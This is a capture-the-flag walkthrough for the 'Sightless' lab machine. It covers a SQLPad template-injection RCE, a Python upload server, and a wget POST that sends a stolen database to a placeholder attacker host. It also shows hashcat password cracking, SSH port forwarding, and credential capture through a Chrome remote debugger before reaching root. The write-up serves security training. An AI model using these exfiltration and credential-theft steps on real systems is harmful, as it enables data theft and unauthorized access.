CVE-2022-0944 : Template injection in connection test endpoint leads to RCE in GitHub repository

CVE-2022-0944 : Template injection in connection test endpoint leads to RCE in GitHub repository sqlpad/sqlpad prior to…

       • We can find this exploit by simply looking up the name of the program and the program version as we've found earlier

• The vulnerability allows remote code execution on the target system

 

• And Just like that we have gained user shell, however we still need to gain access to the root shell.

File-Transfer

• Using some of our skills, we can attempt to use Wget to transfer/receive files from or to the machines

Python-HTTP-Server

• Now on the attacker machine we can use this script to upload and save files onto the remote machine

from http.server import HTTPServer, BaseHTTPRequestHandler
import os
import sqlite3

class SQLiteUploadHandler(BaseHTTPRequestHandler):
    upload_dir = "uploads"

    def do_POST(self):
        # read header for file-size
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)

        # create directory if not existing
        os.makedirs(self.upload_dir, exist_ok=True)

        # save file as "uploaded_file.sqlite"
        file_path = os.path.join(self.upload_dir, "uploaded_file.sqlite")
        with open(file_path, "wb") as f:
            f.write(post_data)

        # Check for valid sql-file
        if self.is_valid_sqlite(file_path):
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b"SQLite-file successfully uploaded and valid")
        else:
            os.remove(file_path)  # delete non valid file
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b"The uploaded file is not a valid sqllite-file")

    def is_valid_sqlite(self, file_path):
        """Check if its a valid SQLite-Database."""
        try:
            with sqlite3.connect(file_path) as conn:
                conn.execute("SELECT 1")  # Testrequest
            return True
        except sqlite3.Error:
            return False

    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"This server accepts post requests for sqlite files")

# Start Server
if __name__ == "__main__":
    host = "0.0.0.0"
    port = 8000
    print(f"Server running on http://{host}:{port}")
    server = HTTPServer((host, port), SQLiteUploadHandler)
    server.serve_forever()

 

Start Python-HTTP-Server Script

• python3 post_server.py

 Transfer File

• Now we can transfer the file with this command

wget --method=POST --body-file=sqlpad.sqlite http://IP-ATTACK-BOX:8000/

SQLite

• The file can now be opened with sqlite3

• Once we query the data from the Users table returns a hash for the user “admin”

• Now we can use hashcat to decode the hash and retrieve the password by using this command

hashhashcat -m 3200 hashes /usr/share/seclists/Passwords/2023-200_most_used_passwords.txt

• Now using the decoded password that we previously cracked with hashcat we can login as user "michael" and the user flag appears.

• Once logged in the user directory, another user appears: “John” But sadly It seems that you are not logged into the host that is hosting the SQL application.

• We can use "ss -tuln" command to see any hidden or running processes with this user

• It appears a process is running on port "8080"

Froxlor

• In order to gain access to the user "John" we can download "linpeas.sh" from github and copy it onto the remote machine and being more recon

• After running linpeas, i have noticed that linpeas has identified the following attack vector as so

• Since the port was marked as "0" which means it is randomly chosen by the system, I returned to focusing on the service running on port 8080. Using SSH forwarding allows me to access the web service from the attacker VM.

• Using this command will help us gain access to the server by using it on our machine

ssh -L 8080:localhost:8080 michael@sightless.htb



• Now if we were to look into the internal host file reveals a new subdomain, where the application might be running.

• Now if we modify the local host file, we can now access the login page.

• Sadly the cracked credentials from the SQLite file don’t work. However, I took a closer look at the login page and noticed some interesting directories.

/bin/
/tests/
/server-status/

• Sadly I had returned to the remote debugger service. Since, as mentioned earlier, no specific port could be identified, I tried all the ports that were published on the machine.

• I began to forward the ports again and configured the destinations in the Chrome debugger until a device appeared.

• ssh -L PORT:127.0.0.1:PORT michael@sightless.htb

• Using DevTools (click “Inspect”), I monitored the network traffic and extracted the login credentials.

• Finally, we can log in through the admin page.

• I tried to change the password for the user John, but unfortunately, that didn’t work. So, I copied the flag to /tmp and then restarted the service via System -> Settings.

• Sadly, the file cannot be opened yet due to missing permissions. Therefore, you can either copy the root’s id_rsa key to /tmp and use it to connect to the machine, or you can adjust the permissions of the flag and access it through the user Michael.

 

Congrats!!! You've successfully completed this box :)